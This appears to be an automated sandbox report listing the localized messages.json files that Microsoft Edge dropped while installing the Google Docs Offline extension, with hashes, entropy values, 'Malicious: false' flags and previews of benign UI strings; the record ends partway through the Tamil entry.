Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
